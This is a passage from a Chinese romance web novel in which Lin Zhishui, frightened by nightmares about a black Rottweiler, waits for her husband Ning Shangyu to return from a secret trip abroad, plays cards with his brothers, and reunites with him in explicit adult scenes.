林稚水睁大了微微迷惘的琉璃眼,尚未察觉自身已经惊醒过来,在主卧极度安静的环境下,屏住呼吸紧盯着宁商羽,好似害怕又是个梦境。 “善善。”宁商羽俯首靠近,高挺鼻梁旁的侧影被暗光衬得尤为陡峭锋利,叫唤她小名,又抬指,拂去她浮在洁白额际的薄汗:“怎么了?” 被他指腹一触,就跟自动触及到了像是洋娃娃上的机关一样。 林稚水肩膀颤巍巍缩了起来,本能地想要躲避开这个热量,那双琉璃眼还处于被封住了视觉状态似的。 不会认人了。 “你躲什么?”宁商羽耐心低问。 林稚水眼中透露出小动物般的敏锐警惕情绪,抿了抿干燥的唇,突然带着睡腔问:“你是狗吗?” 宁商羽眉骨弧度生得极精致锋利,皱起时自带压迫感,“你见过哪只狗能开口跟你说话?” “可能是变异品种。”林稚水表情空洞,却能跟他对答如流,又觉得在黑暗里没什么安全感似的,用力扯被子包裹住自己,甚至潜意识里害怕宁商羽可能下一秒就要倏地变身了。 她呼吸顿了顿,企图讲道理:“能不能别追我了,我逃的好累。” “……” “或者是少吠我两声,轻轻的也行,我姐姐说,我年幼起心脏承受能力不太行,出门如果遇到恶犬就要谨记着躲远点。” “……” “我有点害怕狗,特别是黑色的。”林稚水表情柔柔弱弱的盯着披着宁商羽脸的恶犬,提出个小小要求:“你把西装外套脱了好不好,求求了。” 考虑片刻,宁商羽抬手不疾不徐地解开那枚宝石纽扣。 下一秒,林稚水毫无预兆地抓起枕头朝他砸,声音恼火:“你还说你不是狗!” “不是狗你为什么要听我的话,脱掉这个黑色的西装外套?” 一时间,这番有理有据的质问,反倒是让宁商羽修长指骨僵了僵,枕头这点力度,跟在拳台上激烈的搏斗相比不值一提。 不过此刻林稚水都坚定以为还在梦境里了,也不忘耍心眼子,试探完眼前“宁商羽”的真面目后,就往床下跑。 她又要去找楼梯逃命…… 宁商羽这回温柔尽失,手臂轻而易举地将跳床的人横空拦截,借着体型悬殊的优势,把人压制住,恶劣地捏起了她下巴:“林稚水,抓到你了。” 林稚水直接倒吸了一口气,僵硬地不知该如何应对。 没招了。 她睫毛尖儿微微颤动,不敢去直视那双琥珀色的眼眸。 这只狗太能伪装了。 连这种细节都没放过,太像宁商羽了! 随着宁商羽近在咫尺注视着她被黑丝绒床单衬得雪白的脸,光是眼神,那股浓稠滚烫的热量便隔着空气一样,通过皮肤表层流淌在她血管里,慢慢地,又弥漫到了全身上下。 被噩梦惊吓到发凉的体温,也紧接着显出淡粉色的血气。 林稚水热到想出汗,感觉后脖黏乎乎的,紧贴着睡袍衣领不太好受,刚要动,便听到带着戏谑的低沉声音落来:“不害怕了?” 还是怕的。 林稚水闭着眼睛自暴自弃地想,又豁出去似的去推开这股热量的根源之处,指尖无意间隔着衬衫似乎是乱抓到了什么,顿了一瞬,又快速摸索了起来。 那触感,是宁商羽胸膛上的链条。 锁狮子用的。 她又猛地仰头睁开眼,柔润指节勾着那细链就更不会动了,不可置信这竟然不是梦境了半天,突然略尴尬了起来:“宁商羽。” 宁商羽半眯着琥珀眼,也不回应她。 “我以为我在做梦……”林稚水无从辩驳把他当狗恐惧了,只能佯作这事已经揭过,细声细气地颤着音说:“梦里,有只巨犬一直在追我,世界到处都是白花花的,没有路,什么都看不清。” 她已经快忘记年幼时当过三年多小盲人的感受了,托这个梦的福,又亲身体验了一把。 林稚水是真的害怕。 也因此,此刻莫名显出一种脆弱感,像是找不到家的软弱无助孩童。 宁商羽刚被撩起的心火倏地散了,继而,换了个慵懒地坐姿靠在床头,把她抱在怀里,筋骨修长的手掌覆在那片薄背上,让林稚水很安心,主动把脑袋软绵绵的埋在他肩窝处。 比玻璃落地窗外一片夜色漆黑,犹如有骇人的鬼魅若隐若现。 林稚水不敢去看,指尖勾着他衬衫内的链条,仿佛驱使着最强的猛兽狮子保护自己,这样梦里那只黑色恶犬就不敢寻上她了。 静了片刻。 宁商羽有意等她睡觉,谁知低头一看,林稚水还睁着那双被恐惧浸过的清澈眼睛,动了动唇,主动问他:“你是要去洗澡吗?我可以陪你的……” 宁商羽周身的锋利感都收敛起来,说:“你坐在床上等。” 林稚水殊不知他在老宅的拳击室已经泄过了一通旺盛精力了,不过见宁商羽今晚没做的意思,加上自己这副小身板也娇气,便听他的。 然而,宁商羽往浴室走,她就立刻抱着枕头也一步步跟过去。 直到门口时,林稚水非常有礼貌地停驻在外盘腿坐了下来,随着动作,黑如绸缎的长发顺滑地坠到纤细脚踝,仰着头说:“我不会偷看的,你尽情洗,但记得对我的小老公别太粗暴了,要洗香一点。” 宁商羽被她引得笑了,也没赶她。 甚至堂而皇之地把门大敞着。 无论是男人高大的身形轮廓还是流水声,在夜里,都给林稚水营造出了某种安全感,她坐着无聊,手指无意识划着地板了一会儿,忽而想到什么,又去拿手机认真搜索起来。 等宁商羽洗完澡,裹着一身水汽重新现身。 林稚水指尖握着手机,紧蹙的眉心说,“我知道梦里那个恶犬叫什么了。” 宁商羽听到这,已经有了猜测,神色没有丝毫讶异。 林稚水红唇轻动,用一种轻柔地、近乎咬牙切齿的语气说: “它叫罗威纳犬!” · 罗威纳犬这种体型强壮的护卫品种,对主人忠诚无比,但对陌生人却极具潜在攻击性。林稚水百思不得其解为何会梦见这种狗。 她想不通,但是隔日起,宁商羽一大清早出门前,就亲自吩咐管家加强安保监控管理,严谨这种犬类意外出现在住处附近。 又吩咐下,主卧落地窗外的那片湖泊夜灯彻夜不息。 彻夜不息…… 至少林稚水惊梦醒来不必怕外面有鬼了。 而她心里就算有点怕,到了光天白日时也绝口不会认,指尖一边伸出让浓烈的阳光流淌在肌肤上,一边侧过脸,平静看向被管家迎接进来的裴观若。 裴观若是来给她送狮子星座的胸针设计稿,明明手机发来便好,非要亲自送一趟:“我这儿有十个版本初稿,稚水可以先挑挑。” 一夜时间就能迅速整理出十份设计? 怕是早就备好了。 林稚水白净精致的唇角笑笑:“观若,你真好。” 裴观若心底被她一句话就激起面上温柔的涟漪,跟着浅笑起来:“我也是借花献佛,这些都是设计师的私藏作品,还有其他星座的。” “还有什么星座?” “白羊座。”裴观若看着林稚水那双眼,觉得自己好似有那么一瞬间也有幸倒映进去了,被世间最纯粹的洁白圣水洗涤过灵魂,心漏跟着跳了半拍后,才极极轻轻往下说:“你的星座。” “可惜我从不戴胸针。”林稚水语气在下秒很自然地转移,提起:“晚餐留下来怎么样?宁商羽也会回来陪我一起吃晚餐。” 裴观若恰到好处地问道:“宁总会回来?” “是呢,他自己有门禁时间。”林稚水表情安静地端详着坐在对面沙发上的她,停了一秒,才慢悠悠地吐出最后四个字:“落日之前。” 倘若不是工作行程突然有变,落日之前宁商羽就会准时归家。 林稚水看似态度如水好相处,实际上要留裴观若,便从未给过她拒绝余地,直接吩咐管家今晚加菜。 然而,随着落地窗外的天空像是一幅巨大的油画从金红褪到了淡淡的蔚蓝色。 宁商羽还没有出现。 林稚水长裙几乎迤逦至地的靠在沙发手扶上漫长的等待,终于耐心告罄地紧蹙漂亮的眉头,心想这真是巧合上了么…… 有强烈时间观念法则的宁总大人! 怎么还不回家呢?!! 第49章 裴观若坐在沙发上纹丝未动,绮丽的红色落日在眼前,圣洁又美丽的林稚水也在眼前,某个瞬间,她专注地望着近在咫尺的美好,像是要通过眼睛,把这一刻完整地刻画在脑海中。 这时,倏然响起的手机铃音,打断了她构思。 林稚水也被吸引望过来,歪了歪脑袋,表情没什么变化。 裴观若柔柔地微笑,对她说:“我接个电话。” 随即,便起身离开客厅的沙发区域,缓步走到环境幽静的露天阳台处才选择接听,一时间没出声,淡唇是微微抿着的。 等了片刻,手机传来了一道压抑着欲又磁性低沉的嗓音,跟她下命令:“裴三小姐,现在来我这里。” 裴观若没有遵从指令,声音放得很轻:“十分抱歉,我今晚有很重要的事,另择个时间吧。” “到底谁是情人?” 见他态度强硬,裴观若的应对方式依旧是极为温柔以待:“我是,却不能因为是你的情人,连起码最基本拒绝性请求的权利都被剥夺了吧?” “上次画廊你请求我相助一臂之力时,可没有当情人当得这么贞烈。” 裴观若是承认要是画廊没他助力,是不可能见到被宁家重重保护极好的林稚水一面,更不可能有机会能与她快速结缘上。 可又怎样呢? 画廊的恩情,上次在床上已经还彻底清了。 裴观若丝毫没有做情人的知冷知热自觉性,腰肢虚靠在栏杆前,眼眸是不由得望着客厅方向,林稚水许是等得无聊,透着粉的指尖也拿出手机慢悠悠刷了起来。 略停几秒,裴观若才对着电话里的男人平平静静道:“请问还有别的事吗?没的话,请允许我先挂电话……” “我指环落你身上了,准备什么时候还我?” 裴观若表面恭恭敬敬的话,在他话锋一转里消了音。她没办法归还,那枚雕刻着宁氏族徽的银色指环如今正挂在裴以稀脖子上,整日当狗链戴呢。 指环还不了,就得以身抵债,这么浅薄的道理她还是懂的。 良久后,裴观若找到自己的声音,辨不出悲喜地回答:“我现在就来,请你稍等片刻。” 挂了电话。 落地窗外的夕阳已经被淡墨夜色覆盖,但是窝在沙发上的林稚水还是几乎在发光一样美好。 裴观若脚步极轻地停驻,即便是眼看着能跟林稚水共度晚餐的机会已经触手可得了,却始终命运作弄人,随意一个手机铃声的召唤就能犹如镜花水月般给无情打碎。 她调整好显得些微低落的情绪,脚步重新迈近,开口道:“稚水,我该走了,画廊那边临时出了点事故,要立即过去处理一下。” 林稚水正给家也不回的宁商羽发消息,都编辑好了还未点下,被蓦地打断,怔然抬眼,又轻轻问:“啊?那你需要帮忙吗?” 她的第一反应还是那么善良,不是生气,是带着怜悯感的关切。裴观若摇了摇头,把这个为了完美脱身的借口继续往下编:“我自己能解决。” 林稚水点点头。 等吩咐管家替她送裴观若出门,偌大的华丽客厅四下重新归于寂静后,林稚水顿时没了装冷静的心思了,就剩下自己了,何必在克制着小情绪。 她把编辑好的文字一个个删掉,直接发语音:“宁商羽,我有责任义务提醒一下你,身为已有家室的丈夫,天黑了不知道回家的下场会很严重,事关你贞洁,请你务必要重视起来!” 真是的。 谁家老公隔三差五要被这样催??? 如果不是裴观若提前告辞,那她宁太太的颜面何存? 林稚水跪膝坐在舒适柔软的沙发垫上,眉心蹙了起来,心想要不要再来条语音震慑一下这个男人,这时,送客回来的管家恰好走过来,提及秘书致电……宁商羽赴美出差的保密行程。 林稚水:“出差?” 那不是意味着宁商羽不回家了吗??! 管家点头:“是的,黎近秘书亲口说的,可能要三天时间。” 林稚水沉默地顿了一下,紧接着把发过去两分钟还未到的语音撤回了,又板着脸蛋表情把宁商羽的微信昵称改成了:【家也不回】 今晚丰盛的晚餐只有她独享,随着夜色黑得像是化不开的浓雾,落地窗外的世界角落也逐渐浮了星星点点的灯火。 虽知道会彻夜不息,但林稚水洗完澡,严实裹上像结了霜的白色睡袍回到主卧,看着夜景,衬得她如今更像待在玻璃罐里,不由自主地被某种丝丝委屈淌进了心口,愈发觉得孤单起来。 宁商羽明知道她近日害怕做噩梦,不敢独眠,还去出差? 显然是千秋大业比老婆睡眠质量更重要! 林稚水往床边坐,手机屏幕一亮,似乎是进来了条消息。 她这会儿带情绪,懒得看,透着粉的脚尖抵在长绒地毯上,也不急着爬进被子里去睡觉,总之满脑子都是宁商羽的所作所为,过几秒,垂着的睫毛用力眨了眨,把眼底想掉泪珍珠的冲动给憋回去。 黑色的,巨大的,罗威纳恶犬有什么好怕? 难道真能在梦里把她咬死掉吗?! 林稚水心里默默地说服自己不用害怕,更不想显得自己那么脆弱没有用,过度的粘人依赖不是个好习惯。 这点上,特别是在她小时候因粘人患上过轻度分离焦虑症时,林曦光用了大半年时间,才帮她改善掉的。 如今分离焦虑症又隐隐约约有冒出来的现象,就好似少了宁商羽的胸膛和那股充满生机勃勃的冷杉气息,她就睡不安稳。 林稚水再度把眉心紧蹙,随后,又直挺挺的躺下,明显带着怨气要认命时。 忽地,房门被咚咚咚敲响了。 夜深人静下,这种近乎诡异一样的声音,让林稚水瞳孔微微缩起,要不是自始至终都没闭上眼睛酝酿睡意,她都要心生怀疑: 外面是哪只恶犬在敲门! 林稚水虽然想象力丰富多彩,却还是分得清如今置身在现实世界的,抿了抿唇问:“是谁啊?” “宁濯羽。” “宁赐羽。” “宁舒羽。” 半响后,这三道自报家门的熟悉男性嗓音简直是救世主一样的存在。 暖色调的落地灯温温柔柔地照着偌大奢华的客厅,又有人有热茶的缘故,无形中驱赶了夜色的寂静。 林稚水裹着睡袍和一条很长的洁白羊毛毯窝在沙发上后,睁大了些的清透眼睛看着突然到访的这三位,有点儿茫然和困惑不解。 “我品行高洁,事先声明可没有深夜扰民的恶习,是你那位喜欢用兄长威严压人的亲亲老公交代了,你最近做噩梦怕黑,让我们三个没有人权的奴隶来护家。” 宁濯羽没个正经形象地瘫沙发靠背上,薄唇溢出的那似笑非笑语调,仿佛嘲笑她多大了还怕? 反观身穿白衣衬衫宁赐羽是安静型的,默默地倒了杯茶给她。 不似小濯司机嘴巴不饶人。 林稚水对他友善笑了笑,然后把视线看向又重新染了一头浅白金色短发的宁舒羽,外表看着毛茸茸的,心里同时在琢磨起了他的护家作用在于? 观赏性? 宁舒羽感受到了来自她的质疑,眨巴眨巴眼,话比宁濯羽诚实多了:“哥让我来陪你解闷,宁濯羽和宁赐羽在群里得知后……非得自告奋勇倒贴跟来看家护院。” 宁舒羽之所以会被选中,显然因他性格开朗活泼又天真,在家族内部是当之无愧的吉祥物存在。 “……” 宁濯羽非常品行高洁地把宁舒羽一头着地摁在了沙发的宽枕上,被明晃晃当场揭穿后,直接采取武力值镇压。 “暂停!”林稚水抬起雪白手腕打了个手势,及时地避免即将发生的一场血光之灾惨案,虽然是宁商羽安排来的,但她还是很心存感激这三位的出现。 起码在夜长漫漫之下,这栋不可侵犯的私人领域住处就不显得那么孤单落寞。 林稚水暂时不想上楼睡个畅快,便提出跟他们打扑克牌。 大家都围绕着大理石质地的茶几坐,垫着柔软蓬松的厚羊毛毯,毕竟是跟她玩,什么游艇私人飞机的就不压上来豪赌了,以免显得三人联手故意欺负人来的。 用宁濯羽气焰嚣张的话来说,如果把人输哭了。 直接惊动尊敬的兄长大人连夜回来撑腰,在座的每一位兄弟都要死上一死。 “别看轻了人。”林稚水将雪白的纸几乎分毫不差折了几折,又撕成长条作为惩罚机制的道具用,输的人,就往脑门上贴。 而扑克牌的玩法很简单,跑得快,谁的牌先出完就代表赢了。 当然如果不想脑门上飘白纸,输的一方,也可以选择回答赢家的提问。 半个小时过去,林稚水稳坐赢家宝座,在光晕下格外圣洁到不沾一丝尘埃的美手捏着牌,像是捏着花,结果招招痛下杀手。 她就没输过。 宁濯羽输不起,开始质疑她牌技:“一定有问题,你是不是出老千了?” “老千是什么?”林稚水声音透着些茫然。 宁舒羽一手跟新娘子掀盖头似的,把脑门的白纸撇开,露出圆润润的眼睛:“嫂子,就是作弊的意思。” 宁赐羽曲起指骨在桌角敲了敲:“这番言论不代表我。” 林稚水端着恍然大悟的表情,又说:“玩这个我不用作弊的,以前在家天天玩,都玩了十几年了……” 一开始她玩跑得快,实则跑得慢,总是被阿瞒嘲笑可能是人小腿短。 随着时间推移,林稚水已经熟能生巧到自有一套超绝的牌技。 当然,也仅限于玩这种打法的扑克。 见宁濯羽公然质疑她人品,林稚水决定小小的惩戒一下,便拿钢笔,用黑墨在纸条上写下“心胸开阔”四个鲜明字迹,继而,往他额头正中央贴。 宁濯羽:“……” 下秒,林稚水毫无悬念又跑得快了一步,这次她再次区别对待,往纸上又写下光明磊落的时候,宁濯羽忍不住主动说了:“我选回答问题。” 话音落地,林稚水唇抿出微笑:“让我想想……” 问什么好呢。 她故意停顿思考了一秒,实际上早已经不露声色地布局好了一切,自然而然地问出:“你就随便透露一个宁商羽年少时的感情史吧。” 宁濯羽倚靠着沙发沿,闻言挑起了锋利眉峰:“什么感情史?” “比如他有没有喜欢过人,暗恋的也算……”林稚水睁着好奇的眼,仿佛纯粹只是求知欲突然冒了上来。 “比如什么呢,喜欢和暗恋两个字有资格出现在我尊敬的兄长大人字典里么?”宁濯羽漫不经心的姿态,却无形中透露着带着骄矜的傲气:“他人生只有扩展宏图大业的野心……” 宁商羽是个绝对的利益至上商人,这点众所周知的。 而林稚水跟他的婚姻又是建立在家族联姻上,自然就摆脱不了利益二字,宁濯羽觉得她应该不会介意听到这些实话。 否则,也不会好奇问感情史了。 于是又光明正大地在这里吐槽起了宁商羽在家里对弟弟们也从不怜香惜玉行为。 渐渐的,宁赐羽也非常低调加入了进来。 然后又提起一件年幼时发生在老宅的事,宁商羽跟宁惟羽不知是何缘由当众打架斗殴,热心肠跑去劝架的宁舒羽被踹进了后花园的池塘里。 等跟只白毛小流水狗似的被提溜上来时,遭到两个罪魁祸首花钱封口了这件事。 免去了惊动老爷子的责罚。 至今宁赐羽都很好奇,“当年你勇敢上前劝架,到底听到了什么,被踹水里了?” “我不记得了。”宁舒羽脑子被水浸泡过,甚至都不记得有没有收到这笔封口费,他后面把这一脚归于是两个哥哥太爱自己了。 因此,引来了宁濯羽强烈的嫉妒心,直接重拳出击,劝他这么多年过去了别再痴人做梦:“宁商羽跟宁惟羽爱什么都不会爱人。” 这话没有伤到宁舒羽分毫,反倒是安静旁听的林稚水心窝子有点儿疼。 她突然懒得继续玩牌了,态度很敷衍地找了个理由:“你们脑门上没地方贴纸了。” 随即,便裹着洁白羊毛毯往宽敞的沙发上躺,隐约露出睡袍一角,犹如层层堆簇的雪。 脑门贴纸的三位互相看了眼,这副扮相排排坐搁在一起,都能就地扮演新鲜出土的复古僵尸,还是清朝年代。 宁濯羽和宁赐羽很有默契地扯了下来。 反倒是宁舒羽戏瘾上身,摸着挡视线的白纸,突发奇想地编造了一个深夜小故事:“从前有个人胆小怕邻居养的大黑狗,夜里经常要开灯照明睡觉,这样一睁开眼就能看到会不会被黑狗破门而入,一次发现自己自然醒来房间内黑漆漆的一片……” “可不对啊,还没天亮吗?” “他伸长手臂去开灯又关灯,来来回回几次后,突然感到头发和枕头都是湿的,然后心如死灰地发现原来是黑狗已经摸进来了。” 宁舒羽故弄玄虚,没急于把故事将完整,而是拉长神秘的语调问:“知道黑狗在哪里吗?” 林稚水身子悄无声息地侧卧在沙发上,听到刚刚开头时就变得表情麻木又空白,奈何内心强烈地拒绝,耳朵又好奇竖起。 见宁舒羽问。 林稚水心里回答:在脑袋上。 与此同时,宁舒羽也揭露了真相:“那条邪恶的黑狗正趴在床头含着他的脑袋,等他发现后,就猛地咔嚓一声咬下来嚼呀嚼……” 还嚼呀嚼,林稚水绝望地闭上眼,指尖紧紧地攥着衣领,尽量让自己不要颤抖,也不要冲动对宁舒羽做出点儿伤天害理的行为。 但是今晚,注定无眠了。 等稍微把情绪冷静了下来后,林稚水端着非常脆弱的心理素质,才抬头很真诚问起他们:“我准备在客厅沙发上将就一晚,你们是睡客卧还是?” “不然把我们三挂外面树上一晚?”宁濯羽也学她真诚的提议。 林稚水抿起唇,有点儿被说心动了。 宁赐羽倒是自带白骑士病,看破她不敢独眠的心思,又不好明文规定大家都必须舍命陪君子一起将就在客厅。 他很体贴地说:“我晚上没有睡觉的习惯,可以在阳台那边的沙发办公。” 林稚水瞬间觉得宁赐羽整个人都在可爱到发光。 而宁舒羽也要去露天阳台占据一席之地,他夜里跟狐朋狗友约了上线打游戏,很自觉地不去惊扰到林稚水的睡眠。 至于宁濯羽倒是姿态懒洋洋的依旧坐在地毯上,长指把玩着那副牌,一人分饰四角,非得通宵把这个打法研究透明来。 林稚水起先是没什么困意的,脑子里还在想着赴美家也不回的那位,然而,健康的生物钟一到点,就陷入了秒睡的平和状态里。 连续三日。 只要家也不回的那位还在国外又严格保密行踪,宁濯羽等人跟石狮子作用似的就在这里连续陪着,从一开始都跟她歇在客厅的范围之内。 到第二夜,林稚水乖乖回主卧了,又把隔壁次卧和楼上楼下的范围都安排一个。 她没有明面上冷暴力宁商羽,毕竟于情于理人家忙着事业,还不忘吩咐弟弟来作陪,要是还闹个不停,倒显得她性子多难伺候似的。 林稚水心平气和地把裴观若的设计图纸远程发给了宁商羽,问他喜欢哪个? 她存着一份小私心试探,结果宁商羽在百忙之中还真选了个顺眼的。 早晨醒来时,看到微信聊天框里的新消息,林稚水陷在丝绒被子底下的纤弱身体都跟没了力气似的。 裴观若的设计就这么符合他眼高于顶的审美? 她指尖狠狠地往干净的屏幕滑动,上一条文字清晰地浮现出来,是问“喜欢”哪个。 宁商羽不是没什么喜欢的东西么? 怎么就能被精准的投其所好上?!! 这跟当初秦晚吟一厢情愿的单相思不同,林稚水从刚开始就觉得裴观若哪哪儿都不太对劲,显然是冲宁商羽来的。 上次原本想安排个三人晚餐,从中试探出两人是不是有过旧情分。 奈何宁商羽有家不回。 还出差行踪严格保密,谁知道是不是借口? 林稚水带着浓烈的情绪色彩不准备采用这些设计,而是在书房苦熬了一夜后,亲自设计了一款乳链,用白色钻石质地去雕琢出小羊羔,分别在细链两端的精巧珊瑚上窝着。 等第四日夜晚终于盼星星盼月亮的,把宁商羽的身影给盼到了。 林稚水虽穿着真丝洁白的睡袍,却高高在上地站在楼梯,眼眸不笑地盯着那着了身锋利黑色西装的宁商羽。 继而,她歪了歪头说:“你还知道回家呢?” 明亮的冷光把林稚水那张白瓷似的脸蛋照得极淡,唯有眼尾的痣是艳得发红,仿佛是酝酿着她的情绪,宁商羽眼神沉静注视了会,漫不经心地说:“怎么?出差三日,宁太太气性大到准备把我逐出门外了?” “我怎么舍得呢。”林稚水音色如水一样沿着楼梯流淌下去。 待宁商羽逐步走近,呼吸清晰地闻到来自她沐浴后的清新植物气味以及体香,又像夜雾一样笼罩在周围。 三日不见小别胜新婚。 他毫不客气地伸出修长的手掌,却没有急着做点什么负距离的亲密事,而是滑入她的柔软乌黑发间,漫不经心地摩挲而过,沿着衣领往下,像危险的兽类一回来就巡视领地的气味有没有变淡。 那股浸透过她皮肉深处的冷杉气息几乎消散掉了。 他的指腹动作绵长又磨人,林稚水蝴蝶骨下意识颤巍巍了起来,却没躲,任由被摸索着雪白皮肤之下的孱弱骨架。 而与此同时,她对宁商羽据为己有的思念也在见面第一时间后,无声地达到了差点儿无法控制的地步。 说白了。 林稚水想把近在咫尺这个利益至上的野心家从头彻尾的据为己有,不喜有任何女人了解他喜好,觊觎着他的一切,哪怕无关权利,只是纯粹看上这副一露面便能摄人三魂七魄的样貌也不行。 她心口都快这股情愫撑得很满,犹如猛烈的风浮过干净湖泊上,丝丝惊起的涟漪经久不散,又从微垂的眼尾偷偷地泄露了出来:“宁商羽,狮子座的设计就那么让你喜欢吗?” “要看谁设计的。”宁商羽把她系紧的刺绣纹衣带给漫不经心扯散了,借着暖橘色的壁灯光芒,好好欣赏一下她,继而,逐渐开始变得贪心起来,“亲我。” 林稚水故意抿紧了红润的唇齿,但是这种小小的抵抗方式,只会反激起宁商羽天生那股压迫感十足的霸道行为,很快都没等回主卧,便仗势在这里旁若无人地压制着她,深深的吻了下来。 那股浓郁又熟悉的冷杉气味蔓延到了脸颊乃至发丝,被影响的,林稚水软了骨头,没多久,整个人就不再清清爽爽了,白得发腻的膝盖到小腿处一片湿。 宁商羽指腹清晰地触碰到,从喉咙滚出低笑声,像是笑她这么快就到了,又极具危险地覆在她耳垂上,像是猛兽慢条斯理地叼着捕猎到嘴的美味:“流了这么多……” 林稚水闭紧双眼,睫毛颤着矛盾的挣扎与沉沦。 下一秒,又听宁商羽语调偏低还带着很坏心的意味问:“要帮你堵回去么?” 他还怪礼貌的,林稚水的睡袍衣领无意中已经斜滑到了后背,肩胛骨的精致轮廓地被柔光笼罩着,随着她说话,偶尔打个颤似的:“我跟你说一个秘密。” 她心眼子上倒是真多秘密,又来这招。 宁商羽这回没有松开她,按着腿根,显然不准她借着这个幌子逃脱。 而林稚水站在没动,突然睁开怜悯的眼,认认真真地说:“宁濯羽宁赐羽宁舒羽还在家里,就在楼上……” 宁商羽相当于是在大庭广众下找她欲行不轨,要是被意外撞见,也太有损高大上的兄长威严了! 气氛凝固了三秒。 林稚水微微屏住呼吸,还在盯着他那张完美无缺的面容,深怕眨眼间就错过丝毫神情变化。 结果宁商羽薄唇勾起弧度,意有所指地说:“小撒谎精。” 完了,他开始不好骗了! 林稚水最爱端着这张纯洁无辜的脸蛋儿,偶尔来一下以假乱真的谎话,哪怕被当事人后知后觉的发现有问题,起码当场是能给忽悠过去的。 见宁商羽已经不吃她这套玩法,林稚水忽然动了动,只好先发制人地去拿捏他唯一软肋,免得今晚全程都是她惨兮兮的处于下风。 岂料,她手心摁住熟悉的地方时,却发现不太对劲。 林稚水怔了怔:“你怎么……” 宁商羽站在楼梯台阶之上,被西装一丝不苟地包裹住的高大凶悍身躯是有温度的,但是却没了生理欲望反应,不似日常富含极其磅礴力量感的生命力…… 这肯定不对!!! 此刻林稚水手腕略尴尬僵住,满脑子都是: 宁商羽赴美三日,把她的小老公怎么了? 还是……她小老公生病了??! 第50章 林稚水瞳如琉璃的双眼睁得大大的,讶异到仿佛有水波要洒出来了,几秒以后,她难以置信地去解开,黑色绸制的西装长裤与浓郁夜色融为一体,而她的小老公,冷清得像高悬在夜幕之上的一弯冷月。 “你把它……药死了?”林稚水指着,用淡粉的指甲尖尖儿点着,又像是要点醒像某种凶兽,偏偏宁商羽眼神沉静到丝毫不起波澜,也衬得他轮廓完美的脸锋利而看起来有种格外禁欲的气息。 紧接着,林稚水又理直气壮地去点他笼罩着自己腰窝的手掌,沿着分明的骨节点到了极其冷感的筋脉:“家也不回,赴美的行程又严格保密……宁总,你不是去办公,是去试药的吧?” 她不蠢笨,毕竟宁氏的科研基地就在国外,很难不起疑,把这些细枝末节想到一起琢磨就能猜测到真相。 所以是真研究出抑制他强烈生理需求的新药剂了? “嗯。”宁商羽神态如常,手臂强劲有力把人横抱起来,去往主卧:“新药剂可以抑制长达一个月生理反应。” 从他语调平淡的话里得到证实,林稚水眼中滑过了然情绪,毕竟宁商羽位居宁氏家族头把椅的高位,导致他在外界表露的一些微小习惯和情绪乃至身体情况,都极有可能牵一发而动全部人的利益。 所以更多时候,宁商羽在旁人眼里都是“君心难测。” 恐怕每次试药都会充满不确定性,宁家严格封闭风声也实属正常。而与此同时,林稚思维突然变得无比清晰的脑袋也意识到了另一个至关重要的点。 宁商羽试药成功。 这副身躯已经单方面地暂时屏蔽了对她的需求。 反倒是她,先动了情,又克制不住一直以来心中渴望着,从他这里汲取走那股天生蓬勃鲜活的生命能量。 这让林稚水肩胛骨深陷在柔软舒适的床垫上时,遵循本能地,抬手环住近在咫尺的肩膀,盯着宁商羽极其理性,不带一丝欲的面容神色,小声控诉了起来:“虽然这个药剂也算是照拂到了我的可怜小身板,不用被使用过度……但是!你一回家就对我这样那样的,自己却没反应,这不公平!” 宁商羽笑了,低沉的音色回应着:“怕我满足不了你?” 林稚水莫名的紧张,不由自主地蜷起了手指:“什么啊,我又不像你天天想着,我思想很纯洁的!” 她要的是那种更高级精神结合上的满足感,就像是无知无畏的小动物第一次探索外面世界,好奇的新鲜感和体力都耗尽后,能寻个充满安全感的巨大又温暖的手掌当栖身之地。 所以衣衫不整却思想很纯洁的宁太太只认准“小老公”服务,一本正经地拒绝了大老公今晚的代劳服务。 清晨醒来。 定时开启的落地窗帘自动缓慢无声打开,阳光穿透落羽杉的火焰枝叶,在安静室内洒下斑驳又热烈的光影。 林稚水睡得很熟,整宿都被那股无法取代的暖烘烘温度笼罩着,是从雪白背后向前蔓延到了呼吸微微起伏的胸口处,又仿佛像是猛兽的蓬松尾巴,带着看不见的占有欲把她圈在领地里,严丝合缝地保护了起来。 等室内的温度愈发热了。 她迷迷糊糊地也睡醒过来,睁开眼,先近距离地被宁商羽那张蛊惑人心的皮相震撼了一下,随即,视线轻轻瞄向他敞开的丝绒黑睡袍,露着线条漂亮的胸腹,往下…… 唔! 小老公还安安静静蛰伏着呢。 林稚水身为贤良淑德的妻子,自然责无旁贷地为它健康着想,免得宁商羽睡觉不老实冻感冒了,便刚要探出白嫩嫩的手指头,去系上那松开的衣带。 还没触及到,忽而,耳垂如被火烧,滚烫气息伴着他初醒微哑的嗓音传来:“林稚水,你要是把它摸到药效失灵,到时别哭得那么惨。” 药效还会失灵??? 林稚水顾不上为自己光明正大的体贴行为解释,心口压着害羞和微微窘迫情绪,注意力都转移到了宁商羽的话上,眉心一蹙:“怎么可能……我看起来像是很好骗的样子嘛?” 宁商羽出差三日归家,便没有像往常一样七点整之前就出门,整个手掌紧紧扣着她,连掌纹都生得尤为完美,每根纹路都嚣张跋扈地延伸到最长。 而林稚水出声质疑完后,还盯着那手看,完全没意识到真正危险已经逼近。 直到那筋骨匀长,又线条漂亮的手掌从圈着她腰窝离开。 存在感极强的温度也没了。 下一秒随着惩罚重重降临,林稚水整个心脏都刺激得紧缩了起来,也颤得如同一枝疾风暴雨后的蔷薇,最外层的两片花瓣被拍打得惹人心怜,也开得愈发娇艳欲滴。 在烈日下,蔷薇瓣上滴出的水珠晶莹剔透地闪耀着,很快,透着狼狈地滑落到黑丝绒床垫蒸发了。 整整的六十秒里。 林稚水被懵懂又震撼的都无法言喻,竟还能有这种比打她的屁股还要过分双倍的事?又同时,给她带来了感官上的全新体验。 她漆黑瞳仁逐渐被一片水光覆盖,对着空气涣散了会儿,才很慢地眨了下睫毛,看向已经起床的罪魁祸手! 宁商羽抽了两张纸巾,慢条斯理地擦拭去被浇过的掌心水迹,见她这副可怜样还没彻底回过神,只知道瞅着人看个没完,便意味深长地问:“满足你了么?” 超级满足了! 林稚水体质异常的娇气,压根承受不住更多的满足……她想起之前,又恍惚回到当下,舔了一下唇,说:“宁商羽。” “嗯?” “你不是正人君子。” 宁商羽利益至上主义者向来是不屑于当什么君子,这会儿配合地站在床边,指腹轻轻拨了她纤长的睫毛,问:“那我是什么?” 林稚水也不闭眼,咬着下唇了几秒,又说:“你是一个冷漠无情的专横暴君!” 